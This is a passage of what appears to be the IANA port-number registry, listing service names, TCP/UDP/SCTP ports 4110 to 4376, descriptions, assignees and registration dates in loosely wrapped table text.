g2tag 4110 udp G2 RFID Tag Telemetry Data [David_Goodall] [David_Goodall] 2007-02
xgrid 4111 tcp Xgrid [David_Kramer] [David_Kramer] 2004-11
xgrid 4111 udp Xgrid [David_Kramer] [David_Kramer] 2004-11
apple-vpns-rp 4112 tcp Apple VPN Server Reporting [Christophe_Allie] [Christophe_Allie] 2006-08
Protocol
apple-vpns-rp 4112 udp Apple VPN Server Reporting [Christophe_Allie] [Christophe_Allie] 2006-08
Protocol
aipn-reg 4113 tcp AIPN LS Registration [Qiang_Zhang_2] [Qiang_Zhang_2] 2006-10
aipn-reg 4113 udp AIPN LS Registration [Qiang_Zhang_2] [Qiang_Zhang_2] 2006-10
jomamqmonitor 4114 tcp JomaMQMonitor [Marcel_Hofstetter] [Marcel_Hofstetter] 2003-01
jomamqmonitor 4114 udp JomaMQMonitor [Marcel_Hofstetter] [Marcel_Hofstetter] 2003-01
cds 4115 tcp CDS Transfer Agent [Neil_Coggins] [Neil_Coggins] 2006-07
cds 4115 udp CDS Transfer Agent [Neil_Coggins] [Neil_Coggins] 2006-07
smartcard-tls 4116 tcp smartcard-TLS [Ilan_Mahalal] [Ilan_Mahalal] 2006-04
smartcard-tls 4116 udp smartcard-TLS [Ilan_Mahalal] [Ilan_Mahalal] 2006-04
hillrserv 4117 tcp Hillr Connection Manager [Freddy_A_Ayuso_Hens] [Freddy_A_Ayuso_Hens] 2008-05-22
hillrserv 4117 udp Hillr Connection Manager [Freddy_A_Ayuso_Hens] [Freddy_A_Ayuso_Hens] 2008-05-22
netscript 4118 tcp Netadmin Systems NETscript [Goran_Runfeldt] [Goran_Runfeldt] 2006-12
service
netscript 4118 udp Netadmin Systems NETscript [Goran_Runfeldt] [Goran_Runfeldt] 2006-12
service
assuria-slm 4119 tcp Assuria Log Manager [Nick_Connor] [Nick_Connor] 2006-12
assuria-slm 4119 udp Assuria Log Manager [Nick_Connor] [Nick_Connor] 2006-12
minirem 4120 tcp MiniRem Remote Telemetry and [MobilePro_Systems] [Sean_Solberg] 2017-09-28
Control
4120 udp Reserved
e-builder 4121 tcp e-Builder Application [James_Caza] [James_Caza] 2006-12
Communication
e-builder 4121 udp e-Builder Application [James_Caza] [James_Caza] 2006-12
Communication
fprams 4122 tcp Fiber Patrol Alarm Service [Zhizhong_Zhuang] [Zhizhong_Zhuang] 2006-12
fprams 4122 udp Fiber Patrol Alarm Service [Zhizhong_Zhuang] [Zhizhong_Zhuang] 2006-12
z-wave 4123 tcp Z-Wave Protocol [Sigma_Designs_Inc_2] [Anders_Brandt][Mary_Miller] 2007-02 2012-11-08
z-wave 4123 udp Z-Wave Protocol [Sigma_Designs_Inc_2] [Anders_Brandt][Mary_Miller] 2007-02 2012-11-08
tigv2 4124 tcp Rohill TetraNode Ip Gateway [Bert_Bouwers] [Bert_Bouwers] 2007-05
v2
tigv2 4124 udp Rohill TetraNode Ip Gateway [Bert_Bouwers] [Bert_Bouwers] 2007-05
v2
opsview-envoy 4125 tcp Opsview Envoy [Ton_Voon] [Ton_Voon] 2008-09-26
opsview-envoy 4125 udp Opsview Envoy [Ton_Voon] [Ton_Voon] 2008-09-26
ddrepl 4126 tcp Data Domain Replication [Pratik_Wadher] [Pratik_Wadher] 2007-05
Service
ddrepl 4126 udp Data Domain Replication [Pratik_Wadher] [Pratik_Wadher] 2007-05
Service
unikeypro 4127 tcp NetUniKeyServer [Raymond_Chaw] [Raymond_Chaw] 2007-05
unikeypro 4127 udp NetUniKeyServer [Raymond_Chaw] [Raymond_Chaw] 2007-05
nufw 4128 tcp NuFW decision delegation
protocol
nufw 4128 udp NuFW decision delegation
protocol
nuauth 4129 tcp NuFW authentication protocol [Eric_Leblond] [Eric_Leblond] 2007-06
nuauth 4129 udp NuFW authentication protocol [Eric_Leblond] [Eric_Leblond] 2007-06
fronet 4130 tcp FRONET message protocol [Christer_Nygren] [Christer_Nygren] 2007-08-07
fronet 4130 udp FRONET message protocol [Christer_Nygren] [Christer_Nygren] 2007-08-07
stars 4131 tcp Global Maintech Stars [Harry_Goldschmitt_2] [Harry_Goldschmitt_2] 2007-06
stars 4131 udp Global Maintech Stars [Harry_Goldschmitt_2] [Harry_Goldschmitt_2] 2007-06
NUTS Daemon
nuts-dem 4132 tcp IANA assigned this
well-formed service name as
a replacement for
"nuts_dem".
This entry is an alias to "nuts-dem". This entry is now
nuts_dem 4132 tcp NUTS Daemon historic, not usable for use with many common service
discovery mechanisms.
NUTS Daemon
nuts-dem 4132 udp IANA assigned this
well-formed service name as
a replacement for
"nuts_dem".
This entry is an alias to "nuts-dem". This entry is now
nuts_dem 4132 udp NUTS Daemon historic, not usable for use with many common service
discovery mechanisms.
NUTS Bootp Server
nuts-bootp 4133 tcp IANA assigned this [Martin_Freiss_2] [Martin_Freiss_2]
well-formed service name as
a replacement for
"nuts_bootp".
This entry is an alias to "nuts-bootp". This entry is now
nuts_bootp 4133 tcp NUTS Bootp Server [Martin_Freiss_2] [Martin_Freiss_2] historic, not usable for use with many common service
discovery mechanisms.
NUTS Bootp Server
nuts-bootp 4133 udp IANA assigned this [Martin_Freiss_2] [Martin_Freiss_2]
well-formed service name as
a replacement for
"nuts_bootp".
This entry is an alias to "nuts-bootp". This entry is now
nuts_bootp 4133 udp NUTS Bootp Server [Martin_Freiss_2] [Martin_Freiss_2] historic, not usable for use with many common service
discovery mechanisms.
nifty-hmi 4134 tcp NIFTY-Serve HMI protocol [Ryuichi_Suzuki] [Ryuichi_Suzuki]
nifty-hmi 4134 udp NIFTY-Serve HMI protocol [Ryuichi_Suzuki] [Ryuichi_Suzuki]
cl-db-attach 4135 tcp Classic Line Database Server
Attach
cl-db-attach 4135 udp Classic Line Database Server
Attach
cl-db-request 4136 tcp Classic Line Database Server
Request
cl-db-request 4136 udp Classic Line Database Server
Request
cl-db-remote 4137 tcp Classic Line Database Server [Arno_Kirmeir] [Arno_Kirmeir] 2007-01
Remote
cl-db-remote 4137 udp Classic Line Database Server [Arno_Kirmeir] [Arno_Kirmeir] 2007-01
Remote
nettest 4138 tcp nettest [David_Borman] [David_Borman] 2003-03
nettest 4138 udp nettest [David_Borman] [David_Borman] 2003-03
thrtx 4139 tcp Imperfect Networks Server [Dinkar_Chivaluri_2] [Dinkar_Chivaluri_2] 2006-02
thrtx 4139 udp Imperfect Networks Server [Dinkar_Chivaluri_2] [Dinkar_Chivaluri_2] 2006-02
Cedros Fraud Detection
System
cedros-fds 4140 tcp IANA assigned this [Markus_Michels_3] [Markus_Michels_3] 2006-10
well-formed service name as
a replacement for
"cedros_fds".
Cedros Fraud Detection This entry is an alias to "cedros-fds". This entry is now
cedros_fds 4140 tcp System [Markus_Michels_3] [Markus_Michels_3] 2006-10 historic, not usable for use with many common service
discovery mechanisms.
Cedros Fraud Detection
System
cedros-fds 4140 udp IANA assigned this [Markus_Michels_3] [Markus_Michels_3] 2006-10
well-formed service name as
a replacement for
"cedros_fds".
Cedros Fraud Detection This entry is an alias to "cedros-fds". This entry is now
cedros_fds 4140 udp System [Markus_Michels_3] [Markus_Michels_3] 2006-10 historic, not usable for use with many common service
discovery mechanisms.
oirtgsvc 4141 tcp Workflow Server
oirtgsvc 4141 udp Workflow Server
oidocsvc 4142 tcp Document Server
oidocsvc 4142 udp Document Server
oidsr 4143 tcp Document Replication [Norman_Brie] [Norman_Brie]
oidsr 4143 udp Document Replication [Norman_Brie] [Norman_Brie]
4144 Unassigned Compuserve (unoffically) is using port 4144
vvr-control 4145 tcp VVR Control [Ming_Xu] [Ming_Xu]
vvr-control 4145 udp VVR Control [Ming_Xu] [Ming_Xu]
tgcconnect 4146 tcp TGCConnect Beacon [Brian_Becker] [Brian_Becker] 2006-10
tgcconnect 4146 udp TGCConnect Beacon [Brian_Becker] [Brian_Becker] 2006-10
vrxpservman 4147 tcp Multum Service Manager [Scott_Mager] [Scott_Mager] 2006-10
vrxpservman 4147 udp Multum Service Manager [Scott_Mager] [Scott_Mager] 2006-10
hhb-handheld 4148 tcp HHB Handheld Client [Steven_G_Loughner] [Steven_G_Loughner] 2007-03
hhb-handheld 4148 udp HHB Handheld Client [Steven_G_Loughner] [Steven_G_Loughner] 2007-03
agslb 4149 tcp A10 GSLB Service [John_Chiong] [John_Chiong] 2007-07-02
agslb 4149 udp A10 GSLB Service [John_Chiong] [John_Chiong] 2007-07-02
PowerAlert-nsa 4150 tcp PowerAlert Network Shutdown [Mike_Delgrosso_2] [Mike_Delgrosso_2] 2007-07-02
Agent
PowerAlert-nsa 4150 udp PowerAlert Network Shutdown [Mike_Delgrosso_2] [Mike_Delgrosso_2] 2007-07-02
Agent
Men & Mice Remote Control
menandmice-noh 4151 tcp IANA assigned this [Eggert_Thorlacius] [Eggert_Thorlacius] 2007-08-30
well-formed service name as
a replacement for
"menandmice_noh".
This entry is an alias to "menandmice-noh". This entry is now
menandmice_noh 4151 tcp Men & Mice Remote Control [Eggert_Thorlacius] [Eggert_Thorlacius] 2007-08-30 historic, not usable for use with many common service
discovery mechanisms.
Men & Mice Remote Control
menandmice-noh 4151 udp IANA assigned this [Eggert_Thorlacius] [Eggert_Thorlacius] 2007-08-30
well-formed service name as
a replacement for
"menandmice_noh".
This entry is an alias to "menandmice-noh". This entry is now
menandmice_noh 4151 udp Men & Mice Remote Control [Eggert_Thorlacius] [Eggert_Thorlacius] 2007-08-30 historic, not usable for use with many common service
discovery mechanisms.
iDigTech Multiplex
idig-mux 4152 tcp IANA assigned this [Robin_Findley] [Robin_Findley] 2007-05
well-formed service name as
a replacement for
"idig_mux".
This entry is an alias to "idig-mux". This entry is now
idig_mux 4152 tcp iDigTech Multiplex [Robin_Findley] [Robin_Findley] 2007-05 historic, not usable for use with many common service
discovery mechanisms.
iDigTech Multiplex
idig-mux 4152 udp IANA assigned this [Robin_Findley] [Robin_Findley] 2007-05
well-formed service name as
a replacement for
"idig_mux".
This entry is an alias to "idig-mux". This entry is now
idig_mux 4152 udp iDigTech Multiplex [Robin_Findley] [Robin_Findley] 2007-05 historic, not usable for use with many common service
discovery mechanisms.
mbl-battd 4153 tcp MBL Remote Battery [Claudio_Procida] [Claudio_Procida] 2007-05
Monitoring
mbl-battd 4153 udp MBL Remote Battery [Claudio_Procida] [Claudio_Procida] 2007-05
Monitoring
atlinks 4154 tcp atlinks device discovery [Scott_Griepentrog] [Scott_Griepentrog] 2002-10
atlinks 4154 udp atlinks device discovery [Scott_Griepentrog] [Scott_Griepentrog] 2002-10
bzr 4155 tcp Bazaar version control [Martin_Pool_2] [Martin_Pool_2] 2007-02
system
bzr 4155 udp Bazaar version control [Martin_Pool_2] [Martin_Pool_2] 2007-02
system
stat-results 4156 tcp STAT Results
stat-results 4156 udp STAT Results
stat-scanner 4157 tcp STAT Scanner Control
stat-scanner 4157 udp STAT Scanner Control
stat-cc 4158 tcp STAT Command Center [Darwin_Ammala] [Darwin_Ammala] 2007-03
stat-cc 4158 udp STAT Command Center [Darwin_Ammala] [Darwin_Ammala] 2007-03
nss 4159 tcp Network Security Service [Dave_Wierbowski] [Dave_Wierbowski] 2006-08
nss 4159 udp Network Security Service [Dave_Wierbowski] [Dave_Wierbowski] 2006-08
jini-discovery 4160 tcp Jini Discovery [Mark_Hodapp] [Mark_Hodapp]
jini-discovery 4160 udp Jini Discovery [Mark_Hodapp] [Mark_Hodapp]
omscontact 4161 tcp OMS Contact
omscontact 4161 udp OMS Contact
omstopology 4162 tcp OMS Topology [David_Page] [David_Page] 2005-08
omstopology 4162 udp OMS Topology [David_Page] [David_Page] 2005-08
silverpeakpeer 4163 tcp Silver Peak Peer Protocol [Damon_Ennis] [Damon_Ennis] 2007-03
silverpeakpeer 4163 udp Silver Peak Peer Protocol [Damon_Ennis] [Damon_Ennis] 2007-03
silverpeakcomm 4164 tcp Silver Peak Communication [Damon_Ennis] [Damon_Ennis] 2007-03
Protocol
silverpeakcomm 4164 udp Silver Peak Communication [Damon_Ennis] [Damon_Ennis] 2007-03
Protocol
altcp 4165 tcp ArcLink over Ethernet [Dmitry_Brant] [Dmitry_Brant] 2007-03
altcp 4165 udp ArcLink over Ethernet [Dmitry_Brant] [Dmitry_Brant] 2007-03
joost 4166 tcp Joost Peer to Peer Protocol [Colm_MacCarthaigh] [Colm_MacCarthaigh] 2007-04
joost 4166 udp Joost Peer to Peer Protocol [Colm_MacCarthaigh] [Colm_MacCarthaigh] 2007-04
ddgn 4167 tcp DeskDirect Global Network [Laurie_Charlwood] [Laurie_Charlwood] 2007-08-22
ddgn 4167 udp DeskDirect Global Network [Laurie_Charlwood] [Laurie_Charlwood] 2007-08-22
pslicser 4168 tcp PrintSoft License Server [David_Weisgerber] [David_Weisgerber] 2007-09-27
pslicser 4168 udp PrintSoft License Server [David_Weisgerber] [David_Weisgerber] 2007-09-27
iadt 4169 tcp Automation Drive Interface [Paul_Suhler] [Paul_Suhler] 2008-02-15
Transport
iadt-disc 4169 udp Internet ADT Discovery [Paul_A_Suhler] [Paul_A_Suhler] 2009-02-06
Protocol
d-cinema-csp 4170 tcp SMPTE Content Synchonization [Michael_Karagosian] [Michael_Karagosian] 2008-09-04
Protocol
4170 udp Reserved
ml-svnet 4171 tcp Maxlogic Supervisor [Taha_Paksu] [Taha_Paksu] 2009-12-21
Communication
4171 udp Reserved
pcoip 4172 tcp PC over IP [Teradici] [Jeff_Dillabough] 2009-12-23 2012-03-06
pcoip 4172 udp PC over IP [Teradici] [Jeff_Dillabough] 2009-12-23 2012-03-06
4173 tcp Reserved
mma-discovery 4173 udp MMA Device Discovery [MIDI_Manufacturers_Assoc_Inc] [Tom_White] 2011-11-14
smcluster 4174 tcp StorMagic Cluster Services [Chris_Farey] [Chris_Farey] 2011-03-09
sm-disc 4174 udp StorMagic Discovery [StorMagic_Ltd] [Chris_Farey] 2011-12-16
bccp 4175 tcp Brocade Cluster [Norival_Figueira] [Norival_Figueira] 2010-04-07
Communication Protocol
4175 udp Reserved
tl-ipcproxy 4176 tcp Translattice Cluster IPC [Michael_Lyle] [Michael_Lyle] 2009-11-03
Proxy
4176 udp Reserved
wello 4177 tcp Wello P2P pubsub service [Christian_Westbrook] [Christian_Westbrook] 2007-11-15
wello 4177 udp Wello P2P pubsub service [Christian_Westbrook] [Christian_Westbrook] 2007-11-15
storman 4178 tcp StorMan [Werner_Guertler] [Werner_Guertler] 2009-05-11
storman 4178 udp StorMan [Werner_Guertler] [Werner_Guertler] 2009-05-11
MaxumSP 4179 tcp Maxum Services [Greg_Stine] [Greg_Stine] 2007-07-05
MaxumSP 4179 udp Maxum Services [Greg_Stine] [Greg_Stine] 2007-07-05
httpx 4180 tcp HTTPX [Paul_McGough] [Paul_McGough] 2007-02
httpx 4180 udp HTTPX [Paul_McGough] [Paul_McGough] 2007-02 2016-01-05
macbak 4181 tcp MacBak [Wes_Peters] [Wes_Peters] 2007-04
macbak 4181 udp MacBak [Wes_Peters] [Wes_Peters] 2007-04
pcptcpservice 4182 tcp Production Company Pro TCP [Ben_McNeill] [Ben_McNeill] 2007-05
Service
pcptcpservice 4182 udp Production Company Pro TCP [Ben_McNeill] [Ben_McNeill] 2007-05
Service
cyborgnet 4183 tcp CyborgNet communications [Gareth_Nelson] [Gareth_Nelson] 2015-11-13
protocol
cyborgnet 4183 udp CyborgNet communications [Gareth_Nelson] [Gareth_Nelson] 2015-11-13
protocol
UNIVERSE SUITE MESSAGE
SERVICE
universe-suite 4184 tcp IANA assigned this [Gary_ANDREWS] [Gary_ANDREWS] 2008-01-07
well-formed service name as
a replacement for
"universe_suite".
UNIVERSE SUITE MESSAGE This entry is an alias to "universe-suite". This entry is now
universe_suite 4184 tcp SERVICE [Gary_ANDREWS] [Gary_ANDREWS] 2008-01-07 historic, not usable for use with many common service
discovery mechanisms.
UNIVERSE SUITE MESSAGE
SERVICE
universe-suite 4184 udp IANA assigned this [Gary_ANDREWS] [Gary_ANDREWS] 2008-01-07
well-formed service name as
a replacement for
"universe_suite".
UNIVERSE SUITE MESSAGE This entry is an alias to "universe-suite". This entry is now
universe_suite 4184 udp SERVICE [Gary_ANDREWS] [Gary_ANDREWS] 2008-01-07 historic, not usable for use with many common service
discovery mechanisms.
wcpp 4185 tcp Woven Control Plane Protocol [Christopher_LILJENST] [Christopher_LILJENST] 2008-04-14
wcpp 4185 udp Woven Control Plane Protocol [Christopher_LILJENST] [Christopher_LILJENST] 2008-04-14
boxbackupstore 4186 tcp Box Backup Store Service [Chris_Wilson] [Chris_Wilson] 2008-09-11
4186 udp Reserved
Cascade Proxy
csc-proxy 4187 tcp IANA assigned this [Matt_Craighead] [Matt_Craighead] 2008-09-11
well-formed service name as
a replacement for
"csc_proxy".
This entry is an alias to "csc-proxy". This entry is now
csc_proxy 4187 tcp Cascade Proxy [Matt_Craighead] [Matt_Craighead] 2008-09-11 historic, not usable for use with many common service
discovery mechanisms.
4187 udp Reserved
vatata 4188 tcp Vatata Peer to Peer Protocol [Song_Jian] [Song_Jian] 2008-09-15
vatata 4188 udp Vatata Peer to Peer Protocol [Song_Jian] [Song_Jian] 2008-09-15
pcep 4189 tcp Path Computation Element
Communication Protocol
4189 udp Reserved [RFC5440]
sieve 4190 tcp ManageSieve Protocol
4190 udp Reserved [RFC5804]
4191 tcp Reserved
dsmipv6 4191 udp Dual Stack MIPv6 NAT [RFC5555]
Traversal
azeti 4192 tcp Azeti Agent Service [Uwe_Holz] [Uwe_Holz] 2009-11-09
azeti-bd 4192 udp azeti blinddate [Michael_Werski] [Michael_Werski] 2010-02-18
pvxplusio 4193 tcp PxPlus remote file srvr [Mike_King] [Mike_King] 2009-11-09
4193 udp Reserved
4194-4196 Unassigned
hctl 4197 tcp Harman HControl Protocol [Harman_International_Industries_Inc] [Darin_Smith] 2017-02-16
hctl 4197 udp Harman HControl Protocol [Harman_International_Industries_Inc] [Darin_Smith] 2017-02-16
4198 Unassigned
eims-admin 4199 tcp EIMS ADMIN [Glenn_Anderson] [Glenn_Anderson]
eims-admin 4199 udp EIMS ADMIN [Glenn_Anderson] [Glenn_Anderson]
vrml-multi-use 4200-4299 VRML Multi User Systems [Mitra] [Mitra]
corelccam 4300 tcp Corel CCam [Jason_Aiken] [Jason_Aiken]
corelccam 4300 udp Corel CCam [Jason_Aiken] [Jason_Aiken]
d-data 4301 tcp Diagnostic Data
d-data 4301 udp Diagnostic Data
d-data-control 4302 tcp Diagnostic Data Control [Jon_March] [Jon_March] 2006-09
d-data-control 4302 udp Diagnostic Data Control [Jon_March] [Jon_March] 2006-09
srcp 4303 tcp Simple Railroad Command [Matthias_Trute] [Matthias_Trute] 2007-01
Protocol
srcp 4303 udp Simple Railroad Command [Matthias_Trute] [Matthias_Trute] 2007-01
Protocol
owserver 4304 tcp One-Wire Filesystem Server [Paul_Alfille] [Paul_Alfille] 2007-01 Defined TXT keys: txtvers
owserver 4304 udp One-Wire Filesystem Server [Paul_Alfille] [Paul_Alfille] 2007-01 Defined TXT keys: txtvers
batman 4305 tcp better approach to mobile [Simon_Wunderlich] [Simon_Wunderlich] 2007-08-30
ad-hoc networking
batman 4305 udp better approach to mobile [Simon_Wunderlich] [Simon_Wunderlich] 2007-08-30
ad-hoc networking
pinghgl 4306 tcp Hellgate London [David_Berk] [David_Berk] 2007-08-30
pinghgl 4306 udp Hellgate London [David_Berk] [David_Berk] 2007-08-30
trueconf 4307 tcp TrueConf Videoconference [Dmitry_Odintsov] [Lev_Yakupov] 2007-10-22 2017-05-12
Service
trueconf 4307 udp TrueConf Videoconference [Dmitry_Odintsov] [Lev_Yakupov] 2007-10-22 2017-05-12
Service
compx-lockview 4308 tcp CompX-LockView [John_Payson] [John_Payson] 2007-10-22
compx-lockview 4308 udp CompX-LockView [John_Payson] [John_Payson] 2007-10-22
dserver 4309 tcp Exsequi Appliance Discovery [Angelo_Masci] [Angelo_Masci] 2007-01
dserver 4309 udp Exsequi Appliance Discovery [Angelo_Masci] [Angelo_Masci] 2007-01
mirrtex 4310 tcp Mir-RT exchange service [Sylvain_Robert] [Sylvain_Robert] 2008-02-14
mirrtex 4310 udp Mir-RT exchange service [Sylvain_Robert] [Sylvain_Robert] 2008-02-14
p6ssmc 4311 tcp P6R Secure Server Management [Jim_Susoy] [Jim_Susoy] 2010-01-21
Console
4311 udp Reserved
pscl-mgt 4312 tcp Parascale Membership Manager [John_Muth] [John_Muth] 2010-01-21
4312 udp Reserved
perrla 4313 tcp PERRLA User Services [Cliff_Batson] [Cliff_Batson] 2010-01-21
4313 udp Reserved
choiceview-agt 4314 tcp ChoiceView Agent [Radish_Systems] [Richard_A_Davis] 2013-03-28
4314 udp Reserved
Unauthorized
4315 Unassigned Use Known on
port 4315
choiceview-clt 4316 tcp ChoiceView Client [Radish_Systems] [Richard_A_Davis] 2013-03-28
4316 udp Reserved
4317-4319 Unassigned
fdt-rcatp 4320 tcp FDT Remote Categorization [Russell_P_Holsclaw] [Russell_P_Holsclaw] 2006-03
Protocol
fdt-rcatp 4320 udp FDT Remote Categorization [Russell_P_Holsclaw] [Russell_P_Holsclaw] 2006-03
Protocol
rwhois 4321 tcp Remote Who Is [Mark_Kosters] [Mark_Kosters] [RFC2167]
rwhois 4321 udp Remote Who Is [Mark_Kosters] [Mark_Kosters] [RFC2167]
trim-event 4322 tcp TRIM Event Service
trim-event 4322 udp TRIM Event Service
trim-ice 4323 tcp TRIM ICE Service [Siva_Poobalasingam_2] [Siva_Poobalasingam_2] 2007-02
trim-ice 4323 udp TRIM ICE Service [Siva_Poobalasingam_2] [Siva_Poobalasingam_2] 2007-02
4324 Reserved 2015-05-12 This entry is being removed on 2015-05-12.
geognosisman 4325 tcp Cadcorp GeognoSIS Manager
Service
geognosisman 4325 udp Cadcorp GeognoSIS Manager
Service
geognosis 4326 tcp Cadcorp GeognoSIS Service [Martin_Daly] [Martin_Daly] 2006-11
geognosis 4326 udp Cadcorp GeognoSIS Service [Martin_Daly] [Martin_Daly] 2006-11
jaxer-web 4327 tcp Jaxer Web Protocol [Uri_Sarid] [Uri_Sarid] 2008-01-07
jaxer-web 4327 udp Jaxer Web Protocol [Uri_Sarid] [Uri_Sarid] 2008-01-07
jaxer-manager 4328 tcp Jaxer Manager Command [Uri_Sarid] [Uri_Sarid] 2008-01-22
Protocol
jaxer-manager 4328 udp Jaxer Manager Command [Uri_Sarid] [Uri_Sarid] 2008-01-22
Protocol
PubliQare Distributed
publiqare-sync 4329 tcp Environment Synchronisation [Tom_Maaswinkel] [Tom_Maaswinkel] 2011-02-07
Engine
4329 udp Reserved
dey-sapi 4330 tcp DEY Storage Administration [DEY_Storage_Systems_Inc] [Garrett_D_Amore] 2013-03-01
REST API
4330 udp Reserved
ktickets REST API for event
ktickets-rest 4331 tcp management and ticketing [KeyTicket_Solutions] [MANG_Ioan-Alexandru] 2014-04-04
systems (embedded POS
devices)
4331 udp Reserved
4332 Unassigned
ahsp 4333 tcp ArrowHead Service Protocol [QuantuMatriX_Technologies] [Matthew_Schultz] 2014-04-10
(AHSP)
ahsp 4333 udp ArrowHead Service Protocol [QuantuMatriX_Technologies] [Matthew_Schultz] 2014-04-10
(AHSP)
ahsp 4333 sctp ArrowHead Service Protocol [QuantuMatriX_Technologies] [Matthew_Schultz] 2014-04-10
(AHSP)
netconf-ch-ssh 4334 tcp NETCONF Call Home (SSH) [IESG] [IETF_Chair] 2016-01-12 [RFC8071]
4334 udp Reserved
netconf-ch-tls 4335 tcp NETCONF Call Home (TLS) [IESG] [IETF_Chair] 2016-01-12 [RFC8071]
4335 udp Reserved
restconf-ch-tls 4336 tcp RESTCONF Call Home (TLS) [IESG] [IETF_Chair] 2016-01-12 [RFC8071]
4336 udp Reserved
4337-4339 Unassigned
gaia 4340 tcp Gaia Connector Protocol [Philippe_Detournay] [Philippe_Detournay] 2007-11-12
gaia 4340 udp Gaia Connector Protocol [Philippe_Detournay] [Philippe_Detournay] 2007-11-12
4341 tcp Reserved 2007-11-12 2018-11-30
lisp-data 4341 udp LISP Data Packets [IESG] [IETF_Chair] 2007-11-12 2012-04-26 [RFC6830]
4342 tcp Reserved 2018-11-30
lisp-control 4342 udp LISP Control Packets [IESG] [IETF_Chair] 2007-05 2012-04-26 [RFC6830]
unicall 4343 tcp UNICALL [James_Powell_2] [James_Powell_2]
unicall 4343 udp UNICALL [James_Powell_2] [James_Powell_2]
vinainstall 4344 tcp VinaInstall [Jay_Slupesky] [Jay_Slupesky]
vinainstall 4344 udp VinaInstall [Jay_Slupesky] [Jay_Slupesky]
m4-network-as 4345 tcp Macro 4 Network AS [Paul_Wren] [Paul_Wren]
m4-network-as 4345 udp Macro 4 Network AS [Paul_Wren] [Paul_Wren]
elanlm 4346 tcp ELAN LM [Paul_Ballew] [Paul_Ballew]
elanlm 4346 udp ELAN LM [Paul_Ballew] [Paul_Ballew]
lansurveyor 4347 tcp LAN Surveyor [Michael_Swan] [Michael_Swan]
lansurveyor 4347 udp LAN Surveyor [Michael_Swan] [Michael_Swan]
itose 4348 tcp ITOSE [Michael_Haeuptle] [Michael_Haeuptle]
itose 4348 udp ITOSE [Michael_Haeuptle] [Michael_Haeuptle]
fsportmap 4349 tcp File System Port Map [Ron_Minnich_2] [Ron_Minnich_2]
fsportmap 4349 udp File System Port Map [Ron_Minnich_2] [Ron_Minnich_2]
net-device 4350 tcp Net Device [Glenn_Peterson] [Glenn_Peterson]
net-device 4350 udp Net Device [Glenn_Peterson] [Glenn_Peterson]
plcy-net-svcs 4351 tcp PLCY Net Services [J_J_Ekstrom] [J_J_Ekstrom]
plcy-net-svcs 4351 udp PLCY Net Services [J_J_Ekstrom] [J_J_Ekstrom]
pjlink 4352 tcp Projector Link [Mitsuo_Kodama] [Mitsuo_Kodama] 2005-06
pjlink 4352 udp Projector Link [Mitsuo_Kodama] [Mitsuo_Kodama] 2005-06
f5-iquery 4353 tcp F5 iQuery [Tom_Kee] [Tom_Kee]
f5-iquery 4353 udp F5 iQuery [Tom_Kee] [Tom_Kee]
qsnet-trans 4354 tcp QSNet Transmitter
qsnet-trans 4354 udp QSNet Transmitter
qsnet-workst 4355 tcp QSNet Workstation
qsnet-workst 4355 udp QSNet Workstation
qsnet-assist 4356 tcp QSNet Assistant
qsnet-assist 4356 udp QSNet Assistant
qsnet-cond 4357 tcp QSNet Conductor
qsnet-cond 4357 udp QSNet Conductor
qsnet-nucl 4358 tcp QSNet Nucleus [Neer_Kleinman] [Neer_Kleinman]
qsnet-nucl 4358 udp QSNet Nucleus [Neer_Kleinman] [Neer_Kleinman]
omabcastltkm 4359 tcp OMA BCAST Long-Term Key [Frank_Hartung] [Frank_Hartung] 2007-09-07
Messages
omabcastltkm 4359 udp OMA BCAST Long-Term Key [Frank_Hartung] [Frank_Hartung] 2007-09-07
Messages
Matrix VNet Communication
Protocol
matrix-vnet 4360 tcp IANA assigned this [Rehan_Mahmood] [Rehan_Mahmood] 2009-03-18
well-formed service name as
a replacement for
"matrix_vnet".
Matrix VNet Communication This entry is an alias to "matrix-vnet". This entry is now
matrix_vnet 4360 tcp Protocol [Rehan_Mahmood] [Rehan_Mahmood] 2009-03-18 historic, not usable for use with many common service
discovery mechanisms.
4360 udp Reserved
4361 tcp Reserved
nacnl 4361 udp NavCom Discovery and Control [Yilei_Jia] [Yilei_Jia] 2009-03-18
Port
4362 tcp Reserved
afore-vdp-disc 4362 udp AFORE vNode Discovery [Michael_Richardson] [Michael_Richardson] 2011-02-08
protocol
4363-4365 Unassigned
shadowstream 4366 udp ShadowStream System [StorageCraft_Technology_Corporation] [David_McConkie] 2014-12-17
4366 tcp Reserved
4367 Unassigned
wxbrief 4368 tcp WeatherBrief Direct [Kim_Alan_Waggoner] [Kim_Alan_Waggoner] 2006-11
wxbrief 4368 udp WeatherBrief Direct [Kim_Alan_Waggoner] [Kim_Alan_Waggoner] 2006-11
epmd 4369 tcp Erlang Port Mapper Daemon [Erlang] [Erlang]
epmd 4369 udp Erlang Port Mapper Daemon [Erlang] [Erlang]
ELPRO V2 Protocol Tunnel
elpro-tunnel 4370 tcp IANA assigned this [Harry_Courtice] [Harry_Courtice] 2008-04-14
well-formed service name as
a replacement for
"elpro_tunnel".
This entry is an alias to "elpro-tunnel". This entry is now
elpro_tunnel 4370 tcp ELPRO V2 Protocol Tunnel [Harry_Courtice] [Harry_Courtice] 2008-04-14 historic, not usable for use with many common service
discovery mechanisms.
ELPRO V2 Protocol Tunnel
elpro-tunnel 4370 udp IANA assigned this [Harry_Courtice] [Harry_Courtice] 2008-04-14
well-formed service name as
a replacement for
"elpro_tunnel".
This entry is an alias to "elpro-tunnel". This entry is now
elpro_tunnel 4370 udp ELPRO V2 Protocol Tunnel [Harry_Courtice] [Harry_Courtice] 2008-04-14 historic, not usable for use with many common service
discovery mechanisms.
l2c-control 4371 tcp LAN2CAN Control [Phil_Tolson] [Phil_Tolson] 2008-07-07 Modified: 21 January 2010
l2c-disc 4371 udp LAN2CAN Discovery [Phil_Tolson] [Phil_Tolson] 2010-01-21
l2c-data 4372 tcp LAN2CAN Data [Phil_Tolson] [Phil_Tolson] 2008-07-07 Modified: 21 January 2010
l2c-data 4372 udp LAN2CAN Data [Phil_Tolson] [Phil_Tolson] 2010-01-21
remctl 4373 tcp Remote Authenticated Command [Russ_Allbery] [Russ_Allbery] 2007-08-30
Service
remctl 4373 udp Remote Authenticated Command [Russ_Allbery] [Russ_Allbery] 2007-08-30
Service
psi-ptt 4374 tcp PSI Push-to-Talk Protocol [Frank_B] [Frank_B] 2008-07-17
4374 udp Reserved
tolteces 4375 tcp Toltec EasyShare [Joon_Radley_2] [Joon_Radley_2] 2008-10-21
tolteces 4375 udp Toltec EasyShare [Joon_Radley_2] [Joon_Radley_2] 2008-10-21
bip 4376 tcp BioAPI Interworking [Jean_Paul_Lemaire] [Jean_Paul_Lemaire] 2007-07-05
